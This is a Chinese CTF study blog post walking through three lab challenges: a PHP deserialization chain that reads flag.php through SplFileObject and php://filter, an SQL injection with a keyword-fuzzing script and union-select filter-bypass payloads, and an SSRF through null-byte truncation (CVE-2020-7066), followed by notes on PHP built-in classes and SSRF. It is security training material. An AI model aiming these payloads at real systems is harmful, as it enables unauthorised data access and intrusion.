刷题学习记录

发布时间:2023年12月19日

[GDOUCTF 2023]反方向的钟

知识点:反序列化+PHP伪协议+PHP

题目

<?php
error_reporting(0);
highlight_file(__FILE__);
// flag.php
class teacher{
    public $name;
    public $rank;
    private $salary;
    public function __construct($name,$rank,$salary = 10000){
        $this->name = $name;
        $this->rank = $rank;
        $this->salary = $salary;
    }
}

class classroom{
    public $name;
    public $leader;
    public function __construct($name,$leader){
        $this->name = $name;
        $this->leader = $leader;
    }
    public function hahaha(){
        if($this->name != 'one class' or $this->leader->name != 'ing' or $this->leader->rank !='department'){
            return False;
        }
        else{
            return True;
        }
    }
}

class school{
    public $department;
    public $headmaster;
    public function __construct($department,$ceo){
        $this->department = $department;
        $this->headmaster = $ceo;
    }
    public function IPO(){
        if($this->headmaster == 'ong'){
            echo "Pretty Good ! Ctfer!\n";
            echo new $_POST['a']($_POST['b']);
        }
    }
    public function __wakeup(){
        if($this->department->hahaha()) {
            $this->IPO();
        }
    }
}

if(isset($_GET['d'])){
    unserialize(base64_decode($_GET['d']));
}
?>

分析

要调用IPO()通过new POST[′a′](P?OST[′a′](_POST[‘b’])原生类SplFileObject读取文件
SplFileObject类为文件提供了一个面向对象接口
需要满足下列条件:
this?>headmaster==′ong′this?>headmaster==′ong′this->department->hahaha()
同时绕过 if($this->name != ‘one class’ or $this->leader->name != ‘ing’ or $this->leader->rank !=‘department’)

payload:

<?php
class teacher{
    public $name = 'ing';
    public $rank = 'department';
    private $salary;
}

class classroom{
    public $name = 'one class';
    public $leader;

}

class school{
    public $department;
    public $headmaster= 'ong';
}
$a = new school();
$a -> department = new classroom();
$a -> department -> leader = new teacher();
echo base64_encode(serialize($a));

payload:Tzo2OiJzY2hvb2wiOjI6e3M6MTA6ImRlcGFydG1lbnQiO086OToiY2xhc3Nyb29tIjoyOntzOjQ6Im5hbWUiO3M6OToib25lIGNsYXNzIjtzOjY6ImxlYWRlciI7Tzo3OiJ0ZWFjaGVyIjozOntzOjQ6Im5hbWUiO3M6MzoiaW5nIjtzOjQ6InJhbmsiO3M6MTA6ImRlcGFydG1lbnQiO3M6MTU6IgB0ZWFjaGVyAHNhbGFyeSI7Tjt9fXM6MTA6ImhlYWRtYXN0ZXIiO3M6Mzoib25nIjt9

生成payload。
题中说了flag应该在flag.php中,因此我们直接用php的内置类SplFileObject来读取文件内容。由于没有输出,想要读取到文件里的内容要用伪协议。
POST:
a=SplFileObject&b=php://filter/read=convert.base64-encode/resource=flag.php

?最后

get: ?d=Tzo2OiJzY2hvb2wiOjI6e3M6MTA6ImRlcGFydG1lbnQiO086OToiY2xhc3Nyb29tIjoyOntzOjQ6Im5hbWUiO3M6OToib25lIGNsYXNzIjtzOjY6ImxlYWRlciI7Tzo3OiJ0ZWFjaGVyIjozOntzOjQ6Im5hbWUiO3M6MzoiaW5nIjtzOjQ6InJhbmsiO3M6MTA6ImRlcGFydG1lbnQiO3M6MTU6IgB0ZWFjaGVyAHNhbGFyeSI7Tjt9fXM6MTA6ImhlYWRtYXN0ZXIiO3M6Mzoib25nIjt9

POST: a=SplFileObject&b=php://filter/convert.base64-encode/resource=flag.php

?

?base64解码得到flag

?笔记:

php原生类参考:PHP原生类及其利用_php原生类读取文件-CSDN博客

?简介

PHP 原生类是指 PHP 语言自身提供的内置类,也称为内置类或标准库类。这些类在 PHP 的安装过程中就已经包含在 PHP 核心中,无需额外的安装或引入。

PHP 原生类拥有丰富的功能和方法,用于处理各种常见的任务和操作。它们提供了一种方便的方式来处理数据、文件、日期时间、网络通信、图像处理等多种编程任务。PHP 原生类的作用如下:

  1. 数据处理:PHP 原生类提供了各种数据处理的方法和数据结构,比如数组(Array)、字符串(String)、JSON(json)等。它们可以帮助你对数据进行增删改查、排序、过滤等操作。

  2. 文件操作:PHP 原生类提供了处理文件和目录的方法,比如文件读写、复制、删除、重命名等。SplFileObject 类和 DirectoryIterator 类是常用于文件和目录操作的类。

  3. 网络通信:PHP 原生类可以用于处理网络通信,比如发送 HTTP 请求、处理和解析 URL、创建 TCP 或 UDP 连接等。常用的类包括 cURL、Stream、Socket 等。

  4. 数据库操作:PHP 原生类有关数据库操作的类(如 PDO 类)可以用于与数据库进行交互,执行 SQL 查询、插入、更新和删除数据等。

  5. 图像处理:PHP 原生类提供了对图像进行操作的方法,比如调整大小、裁剪、添加滤镜效果等。常用的类包括 GD、Imagick 等。

  6. 日期和时间:PHP 原生类提供了用于处理日期和时间的类,可以进行日期格式化、计算时间差、时区转换等操作。常用的类包括 DateTime、DateTimeZone 等。

  7. XML 和 JSON 处理:PHP 原生类有关 XML 和 JSON 处理的类可以帮助你解析和生成 XML 或 JSON 数据,轻松地读取和修改数据。

常见

PHP 原生类是 PHP 语言自带的一组核心类,这些类通常都是预定义好的、封装好的、可重用的代码块,提供了丰富的功能和特定的对象模型,可以用于各种 PHP 应用程序中。以下是一些常见的 PHP 原生类及其功能:

  1. DateTime 类:用于处理日期和时间的类,提供了一组用于格式化、解析、比较和计算日期时间等操作的方法,方便 PHP 开发人员处理日期时间数据。

  2. ArrayObject 类:是 PHP 中处理数组的对象封装类,提供了一些数组操作的方法,如数组追加、合并、排序、遍历等。

  3. stdClass 类:是 PHP 中的一个特殊类,用于创建匿名对象。它允许在运行时动态创建对象,并可以在对象上动态添加属性和方法。

  4. SimpleXML 类:用于处理 XML 数据的类,提供了一组用于读取和修改 XML 文件的方法,方便 PHP 开发人员在程序中处理 XML 数据。

  5. SplQueue 类:是 SPL(Standard PHP Library)的一部分,提供了队列数据结构的实现,用于在 PHP 应用程序中管理数据的存储、读取和查询。与 SplQueue 类类似,还有 SplStack 类实现堆(栈)数据结构等。

  6. PDO 类:是 PHP 数据对象(PHP Data Objects)扩展提供的类,用于连接和操作数据库。通过 PDO 类,可以使用统一的接口来连接不同类型的数据库(如 MySQL、SQLite、PostgreSQL 等),执行查询语句、获取结果集等。

  7. Reflection 类:用于获取关于类、对象和函数等的反射信息。Reflection 类提供了一组方法,可以在运行时获取类和对象的属性、方法、参数等信息,甚至通过反射来调用和修改对象的私有属性和方法。

  8. SplFileObject 类:是 SPL(Standard PHP Library)的一部分,用于在 PHP 中读取和操作文件。它是对常规文件操作的封装,提供了读取、写入、追加、截断等文件操作的方法,以及获取文件属性和位置操作等功能。

  9. DirectoryIterator 类:用于遍历目录中的文件和子目录。通过 DirectoryIterator 类,可以获取目录中的文件列表、获取文件的信息(如大小、修改时间等)以及执行文件的读取、写入等操作。

  10. DOMDocument 类:用于创建和操作 XML 和 HTML 文档的类。DOMDocument 类提供了一组方法,可以创建、读取、修改和保存 XML 和 HTML 文档,支持 DOM(文档对象模型)对文档的操作。

  11. SplFixedArray 类:是 SPL(Standard PHP Library)的一部分,提供了固定长度的数组实现。相比于普通的 PHP 数组,SplFixedArray 类在创建时需要指定长度,并且数组的长度不能改变,这可以提供更高的性能和更简洁的内存占用。

  12. DateTimeZone 类:用于表示和操作时区信息的类。DateTimeZone 类提供了一组方法,可以获取和设置时区信息,以及在不同时区之间进行转换和计算。

  13. SplObserver 和 SplSubject 接口:是 SPL(Standard PHP Library)中的接口,用于实现观察者模式。SplObserver 接口定义了观察者对象的方法,SplSubject 接口定义了被观察者对象的方法,通过这两个接口结合使用,可以实现对象之间的松耦合通信,当被观察者发生改变时,通知观察者作出相应的处理。

  14. SessionHandlerInterface 接口:是 PHP 会话处理机制的接口,用于定义会话的保存和检索方法。通过实现 SessionHandlerInterface 接口,可以自定义会话的存储方式,如存储在数据库中、存储在文件中等。

  15. PHPMailer 类:是一个流行的 PHP 邮件发送库,封装了发送邮件的功能。PHPMailer 类提供了一组简单易用的方法,可以方便地发送电子邮件,支持附件、HTML 格式等。

  16. SplPriorityQueue 类:同样是 SPL(Standard PHP Library)的一部分,实现了优先级队列数据结构。通过 SplPriorityQueue 类,可以将元素插入队列并按照给定的优先级进行排序,实现复杂的任务调度或事件处理。

  17. PDOStatement 类:是 PDO 类执行 SQL 命令之后获取查询结果集的一个属性。PDOStatement 类提供了一组方法,可以获取、遍历、修改和插入数据到结果集中,并对结果集中的数据进行操作。

  18. FilterIterator 类:用于过滤迭代器中的元素,返回满足特定条件的元素。FilterIterator 类需要实现迭代器接口,并且定义一个过滤器方法,可以根据业务需求判断当前元素是否应该返回。

  19. SPL 字符串类:SplString 和 SplTempFileObject 类分别用于操作字符串和临时文件。它们在操作字符串和文件时提供了更好的性能和稳定性,同时提供了一些高级的方法对字符串和文件进行操作。

  20. GMP(GNU Multiple Precision)扩展:提供了对任意精度数学运算的支持,并包括整数算术、位操作、素数检测和随机数生成等。使用 GMP 扩展可以避免 PHP 对整数进行溢出的限制,使程序能够处理超过 PHP 整数大小限制的数字。

  21. SplDoublyLinkedList 类:同样是 SPL(Standard PHP Library)的一部分,实现了双向链表数据结构。SplDoublyLinkedList 类提供了一组方法,可以在链表中插入或删除元素,遍历链表,以及在链表头或尾部实现元素的加入和弹出。

  22. SimpleXMLElement 类:用于解析和操作 XML 文档的类,是 PHP 标准库中的一部分。通过 SimpleXMLElement 类,可以轻松地读取和修改 XML 文档中的元素、属性和值。

  23. ZipArchive 类:用于创建和处理 ZIP 文件的类。ZipArchive 类提供了压缩和解压缩 ZIP 文件、读取和修改 ZIP 文件中的内容等一系列方法,方便地进行文件归档和传输。

  24. PharData 类:用于创建和处理 PHP 归档文件(.phar)的类。PharData 类提供了打包、压缩、解压缩、读取和写入归档文件的方法,使得构建和管理 PHP 应用程序变得更加简单和高效。

  25. Imagick 类:用于在 PHP 中操作和转换图像的类,是对 ImageMagick 库的封装。通过 Imagick 类,可以加载图像、调整大小、旋转、裁剪、添加过滤效果等,支持的图像格式包括 JPEG、PNG、GIF 等多种格式。

  26. DOMDocument 类:用于创建和操作 XML 和 HTML 文档的类。DOMDocument 类提供了一组方法,可以创建元素、属性、文本节点,以及对节点进行添加、删除、修改和查询等操作。它是 PHP 标准库中用于处理 XML 和 HTML 的核心类之一。

  27. RecursiveIteratorIterator 类:用于迭代递归结构的迭代器类。RecursiveIteratorIterator 类封装了递归结构的遍历操作,可以遍历多维数组、嵌套目录结构等。通过 RecursiveIteratorIterator 类,可以方便地对递归结构进行遍历和操作。

  28. SplFileObject 类:是用于操作文件的类,也是 SPL(Standard PHP Library)的一部分。SplFileObject 类提供了一组方法,可以读取、写入和操作文件,实现文件的读写、行操作、迭代等功能,比使用传统的文件操作函数更加方便和高效。

  29. DateTimeImmutable 类:是 DateTime 类的不可变版本,用于表示和操作日期时间。DateTimeImmutable 类和 DateTime 类相似,但不会改变实例本身的值,而是返回一个新的 DateTimeImmutable 对象,保证了对象的不可变性。

  30. SplHeap 类:同样是 SPL(Standard PHP Library)的一部分,实现了堆数据结构(最小堆或最大堆)。SplHeap 类提供了一组方法,可以将元素插入堆中,并按照指定的比较函数进行排序,实现高效的优先级队列等操作。

[SWPUCTF 2021 新生赛]sql?

知识点:SQL注入

进入环境,标题和源码提示了传入参数是wllm

先试一下wllm=1

?闭合方式为单引号(')

1' order by 1出现报错,应该是有东西被过滤了

?接着反复尝试

fuzz测试脚本:

import requests
fuzz={'length ','+','handler','like','select','sleep','database','delete','having','or','as','-~','BENCHMARK','limit','left','select','insert'
,'sys.schema_auto_increment_columns','join','right','#','&','&&','\\','handler','---','--','--+','INFORMATION','--',';','!','%','+','xor','<>'
,'(','>','<',')','.','^','=','AND','BY','CAST','COLUMN','COUNT','CREATE','END','case',"'1'='1'",'when',"admin'",'length','+','REVERSE','ascii'
,'select','database','left','right','union','||','oorr','/','//','//*','*/*','/**/','anandd','GROUP','HAVING','IF','INTO','JOIN','LEAVE','LEFT'
,'LEVEL','sleep','LIKE','NAMES','NEXT','NULL','OF','ON','|','infromation_schema','user','OR','ORDER','ORD','SCHEMA','SELECT','SET','TABLE','THEN'
,'UPDATE','USER','USING','VALUE','VALUES','WHEN','WHERE','ADD','AND','prepare','set','update','delete','drop','inset','CAST','COLUMN','CONCAT'
,'GROUP_CONCAT','group_concat','CREATE','DATABASE','DATABASES','alter','DELETE','DROP','floor','rand()','information_schema.tables','TABLE_SCHEMA'
,'%df','concat_ws()','concat','LIMIT','ORD','ON'
,'extractvalue','order','CAST()','by','ORDER','OUTFILE','RENAME','REPLACE','SCHEMA','SELECT','SET','updatexml','SHOW','SQL','TABLE','THEN','TRUE','instr'
,'benchmark','format','bin','substring','ord','UPDATE','VALUES','VARCHAR','VERSION','WHEN','WHERE','/*','`',',','users','%0a','%0b','mid','for','BEFORE','REGEXP'
,'RLIKE','in','sys schemma','SEPARATOR','XOR','CURSOR','FLOOR','sys.schema_table_statistics_with_buffer','INFILE','count','%0c','from','%0d','%a0','=','@','else'}
for i in fuzz:
    res = requests.get('http://node4.anna.nssctf.cn:28832/?wllm={}'.format(i))
    if '请勿非法操作'  in res.text:
        print(i)

?结果有许多被过滤了

?发现=和空格都被过滤了,用%23代替#,/**/代替空格

为什么要将1设置为-1呢?

因为我们是要让服务器返回的是select 1,database()的数据 因为服务器没有-1 所以会返回select 1 的内容

爆字段:

-1'/**/order/**/by/**/4%23

字段数为3

?爆库

-1'/**/union/**/select/**/1,database(),3%23

?爆表

-1'union/**/select/**/1,2,group_concat(table_name)/**/from/**/informa
tion_schema.tables/**/where/**/table_schema/**/like/**/'test_db'%23

?爆列

-1'union/**/select/**/1,2,group_concat(column_name)/**/from/**/inform
ation_schema.columns/**/where/**/table_schema/**/like/**/'test_db'%23

?爆数据,但是只有一部分

-1'union/**/select/**/1,2,group_concat(flag)/**/from/**/test_db.LTLT_
flag%23

?位数长度不足
使用截断函数进行绕过,substr,right,REVERSE 被过滤(测试出来的),只能用mid
mid截取,因为回显只能有20个,所以20,一组截取

-1'union/**/select/**/1,2,mid(group_concat(flag),20,20)/**/from/**/tes
t_db.LTLT_flag%23

-1'union/**/select/**/1,2,mid(group_concat(flag),40,20)/**/from/**/test_db.LTLT_flag%23

?需要爆三组,最后flag拼接

NSSCTF{5c58de42-3f7149dd-87a6-8cc1a1a76-8cc1a1a73ea3}

[GKCTF 2020]cve版签到

知识点:ssrf+%00截断

进入环境,看到讨论区cve-2020-7066

?查看源码没有什么有用信息,但F12查看发现消息头有东西

?

点击View CTFHub发现网址变成:

http://node4.anna.nssctf.cn:28507/?url=http://www.ctfhub.com

url是SSRF的标志,结合cve-2020-7006:

http://node4.anna.nssctf.cn:28507/?url=http://127.0.0.1%00www.ctfhub.com

要求末尾必须是123结尾,接着构造payload:

http://node4.anna.nssctf.cn:28507/?url=http://127.0.0.123%00www.ctfhub.com

拿到flag

?参考:https://www.cnblogs.com/Ky1226/p/14332110.html

?CTF中的CVE-2020-7066_ctf cve-CSDN博客

?笔记

SSRF简介

SSRF(Server-Side Request Forgery,服务器端请求伪造)是一种安全漏洞,攻击者在目标服务器上执行未经授权的网络请求。通过利用该漏洞,攻击者可以向内部网络发起请求,尝试访问该服务器通常无法直接访问的资源。

SSRF 漏洞通常发生在服务器端应用程序未正确验证用户提供的输入,且该输入被用于构造网络请求的情况下。攻击者在请求中可以指定任意的目标 URL,包括内部资源、本地文件系统或其他远程服务器上的资源。漏洞的严重性取决于攻击者可以访问哪些资源。

攻击者可以利用 SSRF 漏洞执行以下恶意活动:

  1. 探测和扫描内部网络。
  2. 访问受限资源,如内部 APIs、管理界面等。
  3. 盗取敏感信息,如访问其他用户获取敏感数据。
  4. 发起攻击,如攻击其他服务器、进行端口扫描等。

为了防止 SSRF 漏洞,开发人员可以采取以下措施:

  1. 对用户输入进行严格验证和过滤,确保输入的 URL 是有效的、合法的,并且不能包含内部或未授权的地址。
  2. 将仅限于对外公开的资源的访问权限限制在必要范围内。
  3. 配置防火墙和网络安全设置,以限制服务器对内部资源的访问。
  4. 使用白名单机制,仅允许访问可信任的远程资源。

漏洞成因

1.服务端提供了从其他服务器应用获取数据的功能

2.没有对目标地址做过滤与限制

比如从指定URL地址获取网页文本内容,加载指定地址的图片,下载文件等等

漏洞攻击方式

  • ??? 对外网,服务器所在内网,本地进行端口扫描(挨个试探),获取一些服务的banner信息
  • ??? 攻击运行在内网或本地的应用程序
  • ??? 对内网Web应用进行指纹识别,识别企业内部的资产信息,通过访问默认文件实现(如:readme文件)
  • ??? 攻击内外网的Web应用,主要是使用HTTP GET请求就可以实现的攻击(比如strust2,SQli等)
  • ??? 下载内网资源,利用file协议读取本地文件或资源等
  • ??? 内部任意主机的任意端口发送精心构造的Payload
  • ??? DOS攻击(请求大文件,始终保持连接Keep-Alive Always)
  • ??? 进行跳板
  • ??? 利用Redis未授权访问,HTTP CRLF注入实现getshell

?参考:漏洞原理——ssrf-CSDN博客

?

文章来源:https://blog.csdn.net/qq_73861475/article/details/135013823
本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。